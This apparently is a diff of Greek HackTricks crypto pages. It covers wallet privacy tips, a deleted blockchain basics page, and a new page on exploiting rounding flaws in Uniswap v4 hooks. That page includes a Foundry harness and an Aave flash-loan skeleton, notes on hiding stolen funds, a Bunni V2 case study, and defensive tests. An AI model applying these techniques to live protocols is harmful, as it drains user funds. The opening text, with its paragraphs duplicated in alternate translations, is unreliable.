**Η αξιοποίηση του PayJoin θα μπορούσε να διαταράξει σημαντικά τις παραδοσιακές μεθόδους επιτήρησης**, καθιστώντας το μια υποσχόμενη εξέλιξη στην επιδίωξη της συναλλακτικής ιδιωτικότητας.
**Η χρήση του PayJoin θα μπορούσε να διαταράξει σημαντικά τις παραδοσιακές μεθόδους παρακολούθησης**, καθιστώντας το μια πολλά υποσχόμενη εξέλιξη στην επιδίωξη του απορρήτου των συναλλαγών.
# Καλές Πρακτικές για Ιδιωτικότητα στις Κρυπτονομίσματα
# Βέλτιστες Πρακτικές για το Απόρρητο στις Κρυπτονομίσματα
## **Τεχνικές Συγχρονισμού Πορτοφολιών**
Για να διατηρηθεί η ιδιωτικότητα και η ασφάλεια, ο συγχρονισμός των πορτοφολιών με την blockchain είναι κρίσιμος. Δύο μέθοδοι ξεχωρίζουν:
Για τη διατήρηση του απορρήτου και της ασφάλειας, ο συγχρονισμός των πορτοφολιών με το blockchain είναι κρίσιμος. Δύο μέθοδοι ξεχωρίζουν:
- **Πλήρης κόμβος**: Κατεβάζοντας ολόκληρη την blockchain, ένας πλήρης κόμβος εξασφαλίζει μέγιστη ιδιωτικότητα. Όλες οι συναλλαγές που έχουν γίνει ποτέ αποθηκεύονται τοπικά, καθιστώντας αδύνατο για τους αντιπάλους να προσδιορίσουν ποιες συναλλαγές ή διευθύνσεις ενδιαφέρει ο χρήστης.
- **Φιλτράρισμα μπλοκ από την πλευρά του πελάτη**: Αυτή η μέθοδος περιλαμβάνει τη δημιουργία φίλτρων για κάθε μπλοκ στην blockchain, επιτρέποντας στα πορτοφόλια να εντοπίζουν σχετικές συναλλαγές χωρίς να εκθέτουν συγκεκριμένα ενδιαφέροντα στους παρατηρητές του δικτύου. Τα ελαφριά πορτοφόλια κατεβάζουν αυτά τα φίλτρα, ανακτώντας πλήρη μπλοκ μόνο όταν βρεθεί αντιστοιχία με τις διευθύνσεις του χρήστη.
- **Full node**: Κατεβάζοντας ολόκληρο το blockchain, ένας full node εξασφαλίζει μέγιστο απόρρητο. Όλες οι συναλλαγές που έγιναν ποτέ αποθηκεύονται τοπικά, κάνοντας αδύνατο για αντιπάλους να εντοπίσουν ποιες συναλλαγές ή διευθύνσεις ενδιαφέρουν τον χρήστη.
- **Client-side block filtering**: Αυτή η μέθοδος περιλαμβάνει τη δημιουργία φίλτρων για κάθε block στο blockchain, επιτρέποντας στα πορτοφόλια να εντοπίζουν σχετικές συναλλαγές χωρίς να εκθέτουν συγκεκριμένα ενδιαφέροντα στους παρατηρητές του δικτύου. Lightweight wallets κατεβάζουν αυτά τα φίλτρα, ανακτώντας πλήρη blocks μόνο όταν βρεθεί ταύτιση με τις διευθύνσεις του χρήστη.
## **Χρήση του Tor για Ανωνυμία**
Δεδομένου ότι το Bitcoin λειτουργεί σε ένα δίκτυο peer-to-peer, συνιστάται η χρήση του Tor για να καλύψετε τη διεύθυνση IP σας, ενισχύοντας την ιδιωτικότητα κατά την αλληλεπίδραση με το δίκτυο.
Δεδομένου ότι Bitcoin λειτουργεί σε ένα peer-to-peer δίκτυο, συνιστάται η χρήση του Tor για να αποκρύψετε τη διεύθυνση IP σας, ενισχύοντας το απόρρητο κατά την αλληλεπίδραση με το δίκτυο.
## **Πρόληψη Επαναχρησιμοποίησης Διευθύνσεων**
## **Αποτροπή Επαναχρήσης Διευθύνσεων**
Για να προστατευθεί η ιδιωτικότητα, είναι ζωτικής σημασίας να χρησιμοποιείτε μια νέα διεύθυνση για κάθε συναλλαγή. Η επαναχρησιμοποίηση διευθύνσεων μπορεί να διακυβεύσει την ιδιωτικότητα συνδέοντας τις συναλλαγές με την ίδια οντότητα. Τα σύγχρονα πορτοφόλια αποθαρρύνουν την επαναχρησιμοποίηση διευθύνσεων μέσω του σχεδιασμού τους.
Για την προστασία του απορρήτου, είναι ζωτικής σημασίας να χρησιμοποιείτε μια νέα διεύθυνση για κάθε συναλλαγή. Η επαναχρησιμοποίηση διευθύνσεων μπορεί να θέσει σε κίνδυνο το απόρρητο συνδέοντας συναλλαγές με την ίδια οντότητα. Τα σύγχρονα πορτοφόλια αποθαρρύνουν την επαναχρησιμοποίηση διευθύνσεων μέσω του σχεδιασμού τους.
## **Στρατηγικές για Ιδιωτικότητα Συναλλαγών**
## **Στρατηγικές για το Απόρρητο των Συναλλαγών**
- **Πολλές συναλλαγές**: Η διαίρεση μιας πληρωμής σε πολλές συναλλαγές μπορεί να θολώσει το ποσό της συναλλαγής, αποτρέποντας επιθέσεις κατά της ιδιωτικότητας.
- **Αποφυγή αλλαγής**: Η επιλογή συναλλαγών που δεν απαιτούν εξόδους αλλαγής ενισχύει την ιδιωτικότητα διαταράσσοντας τις μεθόδους ανίχνευσης αλλαγής.
- **Πολλές εξόδους αλλαγής**: Εάν η αποφυγή αλλαγής δεν είναι εφικτή, η δημιουργία πολλών εξόδων αλλαγής μπορεί να βελτιώσει την ιδιωτικότητα.
- **Multiple transactions**: Ο διαχωρισμός μιας πληρωμής σε πολλές συναλλαγές μπορεί να θολώσει το ποσό της συναλλαγής, αποτρέποντας επιθέσεις κατά του απορρήτου.
- **Change avoidance**: Η επιλογή συναλλαγών που δεν απαιτούν change outputs ενισχύει το απόρρητο διαταράσσοντας τις μεθόδους ανίχνευσης change.
- **Multiple change outputs**: Εάν η αποφυγή change δεν είναι εφικτή, η δημιουργία πολλαπλών change outputs μπορεί ακόμα να βελτιώσει το απόρρητο.
# **Monero: Ένας Φάρος Ανωνυμίας**
# **Monero: Φάρος Ανωνυμίας**
Το Monero καλύπτει την ανάγκη για απόλυτη ανωνυμία στις ψηφιακές συναλλαγές, θέτοντας ένα υψηλό πρότυπο για την ιδιωτικότητα.
Monero καλύπτει την ανάγκη για απόλυτη ανωνυμία στις ψηφιακές συναλλαγές, θέτοντας ένα υψηλό πρότυπο για το απόρρητο.
# **Ethereum: Gas και Συναλλαγές**
# **Ethereum: Gas and Transactions**
## **Κατανόηση του Gas**
Το gas μετρά την υπολογιστική προσπάθεια που απαιτείται για την εκτέλεση λειτουργιών στο Ethereum, τιμολογούμενο σε **gwei**. Για παράδειγμα, μια συναλλαγή που κοστίζει 2,310,000 gwei (ή 0.00231 ETH) περιλαμβάνει ένα όριο gas και μια βασική χρέωση, με ένα φιλοδώρημα για να ενθαρρύνει τους miners. Οι χρήστες μπορούν να ορίσουν μια μέγιστη χρέωση για να διασφαλίσουν ότι δεν θα πληρώσουν υπερβολικά, με την υπερβολή να επιστρέφεται.
Το Gas μετρά την υπολογιστική προσπάθεια που απαιτείται για την εκτέλεση λειτουργιών στο Ethereum, τιμολογείται σε **gwei**. Για παράδειγμα, μια συναλλαγή που κοστίζει 2,310,000 gwei (ή 0.00231 ETH) περιλαμβάνει ένα gas limit και ένα base fee, μαζί με ένα tip για να παρακινήσει τους miners. Οι χρήστες μπορούν να ορίσουν ένα max fee για να εξασφαλίσουν ότι δεν θα πληρώσουν υπερβολικά, με την περίσσεια να επιστρέφεται.
## **Εκτέλεση Συναλλαγών**
Οι συναλλαγές στο Ethereum περιλαμβάνουν έναν αποστολέα και έναν παραλήπτη, οι οποίοι μπορεί να είναι είτε διευθύνσεις χρηστών είτε έξυπνων συμβολαίων. Απαιτούν μια χρέωση και πρέπει να εξορυχθούν. Οι βασικές πληροφορίες σε μια συναλλαγή περιλαμβάνουν τον παραλήπτη, την υπογραφή του αποστολέα, την αξία, προαιρετικά δεδομένα, το όριο gas και τις χρεώσεις. Σημαντικά, η διεύθυνση του αποστολέα deduced από την υπογραφή, εξαλείφοντας την ανάγκη για αυτήν στα δεδομένα της συναλλαγής.
Οι συναλλαγές στο Ethereum περιλαμβάνουν έναν αποστολέα και έναν παραλήπτη, που μπορούν να είναι είτε διευθύνσεις χρηστών είτε smart contract. Απαιτούν ένα τέλος και πρέπει να εξορυχθούν (mined). Βασικές πληροφορίες σε μια συναλλαγή περιλαμβάνουν τον παραλήπτη, την υπογραφή του αποστολέα, την αξία, προαιρετικά δεδομένα, το gas limit και τα τέλη. Σημειωτέον, η διεύθυνση του αποστολέα προκύπτει από την υπογραφή, εξαλείφοντας την ανάγκη να περιλαμβάνεται στα δεδομένα της συναλλαγής.
Αυτές οι πρακτικές και μηχανισμοί είναι θεμελιώδεις για οποιονδήποτε επιθυμεί να ασχοληθεί με τα κρυπτονομίσματα ενώ δίνει προτεραιότητα στην ιδιωτικότητα και την ασφάλεια.
Αυτές οι πρακτικές και μηχανισμοί είναι θεμελιώδεις για οποιονδήποτε επιθυμεί να ασχοληθεί με κρυπτονομίσματα δίνοντας προτεραιότητα στο απόρρητο και την ασφάλεια.
## Αναφορές
## References
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
@ -179,4 +181,12 @@
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
## DeFi/AMM Exploitation
Εάν ερευνάτε πρακτική εκμετάλλευση των DEXes και AMMs (Uniswap v4 hooks, rounding/precision abuse, flashloan amplified thresholdcrossing swaps), δείτε:
{{#ref}}
defi-amm-hook-precision.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,160 @@
# DeFi/AMM Exploitation: Uniswap v4 Hook Precision/Rounding Abuse
{{#include ../../banners/hacktricks-training.md}}
Αυτή η σελίδα τεκμηριώνει μια κατηγορία τεχνικών εκμετάλλευσης DeFi/AMM εναντίον DEXes τύπου Uniswap v4 που επεκτείνουν τα βασικά μαθηματικά με προσαρμοσμένα hooks. Ένα πρόσφατο περιστατικό στο Bunni V2 εκμεταλλεύτηκε ένα σφάλμα στρογγυλοποίησης/ακρίβειας σε μια Liquidity Distribution Function (LDF) που εκτελούνταν σε κάθε swap, επιτρέποντας στον επιτιθέμενο να συσσωρεύσει θετικό πιστωτικό υπόλοιπο και να εξαντλήσει τη ρευστότητα.
Κύρια ιδέα: εάν ένα hook υλοποιεί πρόσθετη λογιστική που εξαρτάται από fixedpoint math, tick rounding και threshold logic, ένας επιτιθέμενος μπορεί να κατασκευάσει exactinput swaps που διασχίζουν συγκεκριμένα όρια ώστε οι αποκλίσεις στρογγυλοποίησης να συσσωρεύονται υπέρ του. Επαναλαμβάνοντας το μοτίβο και στη συνέχεια κάνοντας ανάληψη του διογκωμένου υπολοίπου πραγματοποιείται κέρδος, συχνά χρηματοδοτούμενο με flash loan.
## Background: Uniswap v4 hooks and swap flow
- Hooks είναι συμβόλαια που καλεί ο PoolManager σε συγκεκριμένα σημεία του lifecycle (π.χ., beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity).
- Οι Pools αρχικοποιούνται με ένα PoolKey που περιλαμβάνει τη διεύθυνση hooks. Αν δεν είναι μηδενική, ο PoolManager εκτελεί callbacks σε κάθε σχετική λειτουργία.
- Τα core math χρησιμοποιούν fixedpoint formats όπως Q64.96 για το sqrtPriceX96 και tick arithmetic με 1.0001^tick. Οποιαδήποτε custom math πάνω από αυτά πρέπει να ταιριάζει προσεκτικά τα rounding semantics για να αποφευχθεί απόκλιση των invariants.
- Τα swaps μπορούν να είναι exactInput ή exactOutput. Σε v3/v4, η τιμή κινείται κατά μήκος των ticks· το πέρασμα ενός tick boundary μπορεί να ενεργοποιήσει/απενεργοποιήσει range liquidity. Τα hooks μπορεί να υλοποιούν επιπλέον λογική κατά τα threshold/tick crossings.
## Vulnerability archetype: thresholdcrossing precision/rounding drift
Ένα τυπικό ευάλωτο μοτίβο σε custom hooks:
1. Το hook υπολογίζει ανάswap deltas ρευστότητας ή υπολοίπων χρησιμοποιώντας integer division, mulDiv, ή fixedpoint conversions (π.χ., token ↔ liquidity με χρήση sqrtPrice και tick ranges).
2. Η threshold logic (π.χ., rebalancing, stepwise redistribution ή perrange activation) ενεργοποιείται όταν το μέγεθος ενός swap ή μια μετακίνηση τιμής διασχίζει ένα εσωτερικό όριο.
3. Η στρογγυλοποίηση εφαρμόζεται ασυνεπώς (π.χ., truncation προς το μηδέν, floor έναντι ceil) μεταξύ του forward calculation και της settlement path. Μικρές αποκλίσεις δεν ακυρώνονται και αντίθετα πιστώνονται στον καλούντα.
4. Exactinput swaps, ακριβούς μεγέθους ώστε να στραγγαλίζουν αυτά τα όρια, επανειλημμένα θερίζουν το θετικό υπόλοιπο στρογγυλοποίησης. Ο επιτιθέμενος αργότερα αποσύρει το συσσωρευμένο πιστωτικό υπόλοιπο.
Προϋποθέσεις επίθεσης
- Ένα pool που χρησιμοποιεί custom v4 hook που εκτελεί πρόσθετα μαθηματικά σε κάθε swap (π.χ., ένα LDF/rebalancer).
- Τουλάχιστον ένα execution path όπου η στρογγυλοποίηση ωφελεί τον initiator του swap κατά τα threshold crossings.
- Ικανότητα επανάληψης πολλαπλών swaps ατομικά (flash loans είναι ιδανικά για παροχή προσωρινού float και απόσβεση των gas).
## Practical attack methodology
1) Identify candidate pools with hooks
- Καταγράψτε v4 pools και ελέγξτε PoolKey.hooks != address(0).
- Επιθεωρήστε hook bytecode/ABI για callbacks: beforeSwap/afterSwap και οποιεσδήποτε custom rebalancing μεθόδους.
- Ψάξτε για math που: διαιρεί με liquidity, μετατρέπει μεταξύ token amounts και liquidity, ή αθροίζει BalanceDelta με στρογγυλοποίηση.
2) Model the hooks math and thresholds
- Αναπαράγετε τον τύπο liquidity/redistribution του hook: inputs συνήθως περιλαμβάνουν sqrtPriceX96, tickLower/Upper, currentTick, fee tier και net liquidity.
- Χαρτογραφήστε threshold/step functions: ticks, όρια buckets ή LDF breakpoints. Προσδιορίστε σε ποια πλευρά κάθε ορίου στρογγυλοποιείται το delta.
- Εντοπίστε πού γίνονται conversions μεταξύ uint256/int256, χρησιμοποιείται SafeCast, ή βασίζονται σε mulDiv με implicit floor.
3) Calibrate exactinput swaps to cross boundaries
- Χρησιμοποιήστε Foundry/Hardhat simulations για να υπολογίσετε το ελάχιστο Δin που χρειάζεται για να μετακινήσει την τιμή ακριβώς πέρα από ένα όριο και να ενεργοποιήσει το branch του hook.
- Επαληθεύστε ότι το afterSwap settlement πιστώνει τον καλούντα περισσότερο από το κόστος, αφήνοντας ένα θετικό BalanceDelta ή πιστωτικό υπόλοιπο στην accounting του hook.
- Επαναλάβετε swaps για να συσσωρεύσετε credit· στη συνέχεια καλέστε το withdrawal/settlement path του hook.
Example Foundrystyle test harness (pseudocode)
```solidity
function test_precision_rounding_abuse() public {
// 1) Arrange: set up pool with hook
PoolKey memory key = PoolKey({
currency0: USDC,
currency1: USDT,
fee: 500, // 0.05%
tickSpacing: 10,
hooks: address(bunniHook)
});
pm.initialize(key, initialSqrtPriceX96);
// 2) Determine a boundarycrossing exactInput
uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary);
// 3) Loop swaps to accrue rounding credit
for (uint i; i < N; ++i) {
pm.swap(
key,
IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: int256(exactIn), // exactInput
sqrtPriceLimitX96: 0 // allow tick crossing
}),
""
);
}
// 4) Realize inflated credit via hookexposed withdrawal
bunniHook.withdrawCredits(msg.sender);
}
```
Καλιμπράρισμα του exactInput
- Υπολόγισε το ΔsqrtP για ένα tick step: sqrtP_next = sqrtP_current × 1.0001^(Δtick).
- Προσέγγισε το Δin χρησιμοποιώντας τις φόρμουλες v3/v4: Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). Βεβαιώσου ότι η κατεύθυνση στρογγυλοποίησης ταιριάζει με τα βασικά μαθηματικά.
- Ρύθμισε το Δin κατά ±1 wei γύρω από το όριο για να βρεις τον κλάδο όπου το hook στρογγυλοποιεί υπέρ σου.
4) Ενίσχυση με flash loans
- Δανείσου ένα μεγάλο notional (π.χ., 3M USDT ή 2000 WETH) για να τρέξεις πολλές επαναλήψεις ατομικά.
- Εκτέλεσε τον καλιμπραρισμένο swap loop, έπειτα απόσυρε και αποπλήρωσε εντός του flash loan callback.
Aave V3 flash loan skeleton
```solidity
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
// run thresholdcrossing swap loop here
for (uint i; i < N; ++i) {
_exactInBoundaryCrossingSwap();
}
// realize credits / withdraw inflated balances
bunniHook.withdrawCredits(address(this));
// repay
for (uint j; j < assets.length; ++j) {
IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]);
}
return true;
}
```
5) Έξοδος και αναπαραγωγή μεταξύ αλυσίδων
- Αν τα hooks είναι αναπτυγμένα σε πολλαπλές αλυσίδες, επαναλάβετε την ίδια βαθμονόμηση ανά αλυσίδα.
- Η γέφυρα επιστρέφει στη target chain και προαιρετικά κυκλώνει μέσω lending protocols για να συγκαλύψει τις ροές.
## Συνηθισμένες ριζικές αιτίες στα μαθηματικά των hook
- Mixed rounding semantics: mulDiv floors while later paths effectively round up; or conversions between token/liquidity apply different rounding.
- Tick alignment errors: using unrounded ticks in one path and tickspaced rounding in another.
- BalanceDelta sign/overflow issues when converting between int256 and uint256 during settlement.
- Precision loss in Q64.96 conversions (sqrtPriceX96) not mirrored in reverse mapping.
- Accumulation pathways: perswap remainders tracked as credits that are withdrawable by the caller instead of being burned/zerosum.
## Αμυντικές οδηγίες
- Differential testing: mirror the hooks math vs a reference implementation using highprecision rational arithmetic and assert equality or bounded error that is always adversarial (never favorable to caller).
- Invariant/property tests:
- Sum of deltas (tokens, liquidity) across swap paths and hook adjustments must conserve value modulo fees.
- No path should create positive net credit for the swap initiator over repeated exactInput iterations.
- Threshold/tick boundary tests around ±1 wei inputs for both exactInput/exactOutput.
- Rounding policy: centralize rounding helpers that always round against the user; eliminate inconsistent casts and implicit floors.
- Settlement sinks: accumulate unavoidable rounding residue to protocol treasury or burn it; never attribute to msg.sender.
- Ratelimits/guardrails: minimum swap sizes for rebalancing triggers; disable rebalances if deltas are subwei; sanitycheck deltas against expected ranges.
- Review hook callbacks holistically: beforeSwap/afterSwap and before/after liquidity changes should agree on tick alignment and delta rounding.
## Case study: Bunni V2 (20250902)
- Protocol: Bunni V2 (Uniswap v4 hook) with an LDF applied per swap to rebalance.
- Root cause: rounding/precision error in LDF liquidity accounting during thresholdcrossing swaps; perswap discrepancies accrued as positive credits for the caller.
- Ethereum leg: attacker took a ~3M USDT flash loan, performed calibrated exactinput swaps on USDC/USDT to build credits, withdrew inflated balances, repaid, and routed funds via Aave.
- UniChain leg: repeated the exploit with a 2000 WETH flash loan, siphoning ~1366 WETH and bridging to Ethereum.
- Impact: ~USD 8.3M drained across chains. No user interaction required; entirely onchain.
## Hunting checklist
- Does the pool use a nonzero hooks address? Which callbacks are enabled?
- Are there perswap redistributions/rebalances using custom math? Any tick/threshold logic?
- Where are divisions/mulDiv, Q64.96 conversions, or SafeCast used? Are rounding semantics globally consistent?
- Can you construct Δin that barely crosses a boundary and yields a favorable rounding branch? Test both directions and both exactInput and exactOutput.
- Does the hook track percaller credits or deltas that can be withdrawn later? Ensure residue is neutralized.
## References
- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b)
- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit)
- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development)
- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core)
- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core)
- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,182 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
## Βασικές Έννοιες
- **Smart Contracts** ορίζονται ως προγράμματα που εκτελούνται σε μια blockchain όταν πληρούνται ορισμένες προϋποθέσεις, αυτοματοποιώντας τις εκτελέσεις συμφωνιών χωρίς μεσάζοντες.
- **Decentralized Applications (dApps)** βασίζονται σε smart contracts, διαθέτοντας ένα φιλικό προς τον χρήστη front-end και ένα διαφανές, ελέγξιμο back-end.
- **Tokens & Coins** διαφοροποιούνται όπου τα coins λειτουργούν ως ψηφιακό χρήμα, ενώ τα tokens αντιπροσωπεύουν αξία ή ιδιοκτησία σε συγκεκριμένα συμφραζόμενα.
- **Utility Tokens** παρέχουν πρόσβαση σε υπηρεσίες, και **Security Tokens** υποδηλώνουν την ιδιοκτησία περιουσιακών στοιχείων.
- **DeFi** σημαίνει Decentralized Finance, προσφέροντας χρηματοοικονομικές υπηρεσίες χωρίς κεντρικές αρχές.
- **DEX** και **DAOs** αναφέρονται σε Decentralized Exchange Platforms και Decentralized Autonomous Organizations, αντίστοιχα.
## Μηχανισμοί Συμφωνίας
Οι μηχανισμοί συμφωνίας διασφαλίζουν ασφαλείς και συμφωνημένες επικυρώσεις συναλλαγών στην blockchain:
- **Proof of Work (PoW)** βασίζεται στη υπολογιστική ισχύ για την επαλήθευση συναλλαγών.
- **Proof of Stake (PoS)** απαιτεί από τους επικυρωτές να κατέχουν μια συγκεκριμένη ποσότητα tokens, μειώνοντας την κατανάλωση ενέργειας σε σύγκριση με το PoW.
## Βασικά Στοιχεία του Bitcoin
### Συναλλαγές
Οι συναλλαγές Bitcoin περιλαμβάνουν τη μεταφορά χρημάτων μεταξύ διευθύνσεων. Οι συναλλαγές επικυρώνονται μέσω ψηφιακών υπογραφών, διασφαλίζοντας ότι μόνο ο κάτοχος του ιδιωτικού κλειδιού μπορεί να ξεκινήσει μεταφορές.
#### Κύρια Στοιχεία:
- **Multisignature Transactions** απαιτούν πολλαπλές υπογραφές για την εξουσιοδότηση μιας συναλλαγής.
- Οι συναλλαγές αποτελούνται από **inputs** (πηγή χρημάτων), **outputs** (προορισμός), **fees** (που πληρώνονται στους miners), και **scripts** (κανόνες συναλλαγής).
### Lightning Network
Στοχεύει στη βελτίωση της κλιμάκωσης του Bitcoin επιτρέποντας πολλές συναλλαγές εντός ενός καναλιού, μεταδίδοντας μόνο την τελική κατάσταση στην blockchain.
## Ανησυχίες για την Ιδιωτικότητα του Bitcoin
Επιθέσεις ιδιωτικότητας, όπως **Common Input Ownership** και **UTXO Change Address Detection**, εκμεταλλεύονται τα μοτίβα συναλλαγών. Στρατηγικές όπως **Mixers** και **CoinJoin** βελτιώνουν την ανωνυμία θολώνοντας τους συνδέσμους συναλλαγών μεταξύ χρηστών.
## Απόκτηση Bitcoins Ανώνυμα
Μέθοδοι περιλαμβάνουν εμπορικές συναλλαγές με μετρητά, εξόρυξη και χρήση mixers. **CoinJoin** αναμειγνύει πολλές συναλλαγές για να περιπλέξει την ανιχνευσιμότητα, ενώ το **PayJoin** μεταμφιέζει τα CoinJoins ως κανονικές συναλλαγές για αυξημένη ιδιωτικότητα.
# Επιθέσεις Ιδιωτικότητας Bitcoin
# Περίληψη Επιθέσεων Ιδιωτικότητας Bitcoin
Στον κόσμο του Bitcoin, η ιδιωτικότητα των συναλλαγών και η ανωνυμία των χρηστών είναι συχνά αντικείμενα ανησυχίας. Ακολουθεί μια απλοποιημένη επισκόπηση αρκετών κοινών μεθόδων μέσω των οποίων οι επιτιθέμενοι μπορούν να παραβιάσουν την ιδιωτικότητα του Bitcoin.
## **Υπόθεση Κοινής Ιδιοκτησίας Εισροών**
Είναι γενικά σπάνιο οι εισροές από διαφορετικούς χρήστες να συνδυάζονται σε μια μόνο συναλλαγή λόγω της πολυπλοκότητας που εμπλέκεται. Έτσι, **δύο διευθύνσεις εισροών στην ίδια συναλλαγή συχνά υποτίθεται ότι ανήκουν στον ίδιο ιδιοκτήτη**.
## **Ανίχνευση Διεύθυνσης Αλλαγής UTXO**
Ένα UTXO, ή **Unspent Transaction Output**, πρέπει να δαπανηθεί πλήρως σε μια συναλλαγή. Εάν μόνο ένα μέρος του σταλεί σε άλλη διεύθυνση, το υπόλοιπο πηγαίνει σε μια νέα διεύθυνση αλλαγής. Οι παρατηρητές μπορούν να υποθέσουν ότι αυτή η νέα διεύθυνση ανήκει στον αποστολέα, παραβιάζοντας την ιδιωτικότητα.
### Παράδειγμα
Για να μετριαστεί αυτό, οι υπηρεσίες ανάμειξης ή η χρήση πολλαπλών διευθύνσεων μπορούν να βοηθήσουν στην θόλωση της ιδιοκτησίας.
## **Έκθεση σε Κοινωνικά Δίκτυα & Φόρουμ**
Οι χρήστες μερικές φορές μοιράζονται τις διευθύνσεις Bitcoin τους online, καθιστώντας **εύκολο να συνδεθεί η διεύθυνση με τον ιδιοκτήτη της**.
## **Ανάλυση Γραφήματος Συναλλαγών**
Οι συναλλαγές μπορούν να οπτικοποιηθούν ως γραφήματα, αποκαλύπτοντας πιθανές συνδέσεις μεταξύ χρηστών με βάση τη ροή χρημάτων.
## **Υποθετική Εισροή Χωρίς Ανάγκη (Βέλτιστη Υποθετική Αλλαγή)**
Αυτή η υποθετική βασίζεται στην ανάλυση συναλλαγών με πολλαπλές εισροές και εκροές για να μαντέψει ποια εκροή είναι η αλλαγή που επιστρέφει στον αποστολέα.
### Παράδειγμα
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Αν η προσθήκη περισσότερων εισροών καθιστά την έξοδο αλλαγής μεγαλύτερη από οποιαδήποτε μεμονωμένη εισροή, μπορεί να μπερδέψει την ηθική.
## **Υποχρεωτική Επαναχρησιμοποίηση Διευθύνσεων**
Οι επιτιθέμενοι μπορεί να στείλουν μικρά ποσά σε προηγουμένως χρησιμοποιημένες διευθύνσεις, ελπίζοντας ότι ο παραλήπτης θα τα συνδυάσει με άλλες εισροές σε μελλοντικές συναλλαγές, συνδέοντας έτσι τις διευθύνσεις μεταξύ τους.
### Σωστή Συμπεριφορά Πορτοφολιού
Τα πορτοφόλια θα πρέπει να αποφεύγουν τη χρήση νομισμάτων που έχουν ληφθεί σε ήδη χρησιμοποιημένες, κενές διευθύνσεις για να αποτρέψουν αυτή τη διαρροή ιδιωτικότητας.
## **Άλλες Τεχνικές Ανάλυσης Blockchain**
- **Ακριβή Ποσά Πληρωμής:** Συναλλαγές χωρίς αλλαγή είναι πιθανό να είναι μεταξύ δύο διευθύνσεων που ανήκουν στον ίδιο χρήστη.
- **Στρογγυλοί Αριθμοί:** Ένας στρογγυλός αριθμός σε μια συναλλαγή υποδηλώνει ότι είναι πληρωμή, με την μη στρογγυλή έξοδο να είναι πιθανώς η αλλαγή.
- **Δακτυλοσκοπία Πορτοφολιού:** Διάφορα πορτοφόλια έχουν μοναδικά πρότυπα δημιουργίας συναλλαγών, επιτρέποντας στους αναλυτές να προσδιορίσουν το λογισμικό που χρησιμοποιείται και πιθανώς τη διεύθυνση αλλαγής.
- **Συσχετίσεις Ποσού & Χρόνου:** Η αποκάλυψη χρόνων ή ποσών συναλλαγών μπορεί να καθιστά τις συναλλαγές ανιχνεύσιμες.
## **Ανάλυση Κίνησης**
Παρακολουθώντας την κίνηση του δικτύου, οι επιτιθέμενοι μπορούν ενδεχομένως να συνδέσουν συναλλαγές ή μπλοκ με διευθύνσεις IP, θέτοντας σε κίνδυνο την ιδιωτικότητα των χρηστών. Αυτό ισχύει ιδιαίτερα αν μια οντότητα λειτουργεί πολλές κόμβους Bitcoin, ενισχύοντας την ικανότητά τους να παρακολουθούν τις συναλλαγές.
## Περισσότερα
Για μια ολοκληρωμένη λίστα επιθέσεων και αμυνών ιδιωτικότητας, επισκεφθείτε το [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Ανώνυμες Συναλλαγές Bitcoin
## Τρόποι Απόκτησης Bitcoins Ανώνυμα
- **Συναλλαγές με Μετρητά**: Απόκτηση bitcoin μέσω μετρητών.
- **Εναλλακτικές Μετρητών**: Αγορά δωροκαρτών και ανταλλαγή τους διαδικτυακά για bitcoin.
- **Εξόρυξη**: Ο πιο ιδιωτικός τρόπος για να κερδίσετε bitcoins είναι μέσω εξόρυξης, ειδικά όταν γίνεται μόνος, καθώς οι πισίνες εξόρυξης μπορεί να γνωρίζουν τη διεύθυνση IP του εξορύκτη. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Κλοπή**: Θεωρητικά, η κλοπή bitcoin θα μπορούσε να είναι μια άλλη μέθοδος για να το αποκτήσετε ανώνυμα, αν και είναι παράνομη και δεν συνιστάται.
## Υπηρεσίες Μίξης
Χρησιμοποιώντας μια υπηρεσία μίξης, ένας χρήστης μπορεί να **στείλει bitcoins** και να λάβει **διαφορετικά bitcoins σε αντάλλαγμα**, καθιστώντας δύσκολη την ανίχνευση του αρχικού κατόχου. Ωστόσο, αυτό απαιτεί εμπιστοσύνη στην υπηρεσία να μην κρατά αρχεία και να επιστρέφει πραγματικά τα bitcoins. Εναλλακτικές επιλογές μίξης περιλαμβάνουν τα καζίνο Bitcoin.
## CoinJoin
**CoinJoin** συγχωνεύει πολλές συναλλαγές από διαφορετικούς χρήστες σε μία, περιπλέκοντας τη διαδικασία για οποιονδήποτε προσπαθεί να αντιστοιχίσει εισροές με εξόδους. Παρά την αποτελεσματικότητά του, οι συναλλαγές με μοναδικά μεγέθη εισροών και εξόδων μπορούν ακόμα να ανιχνευθούν.
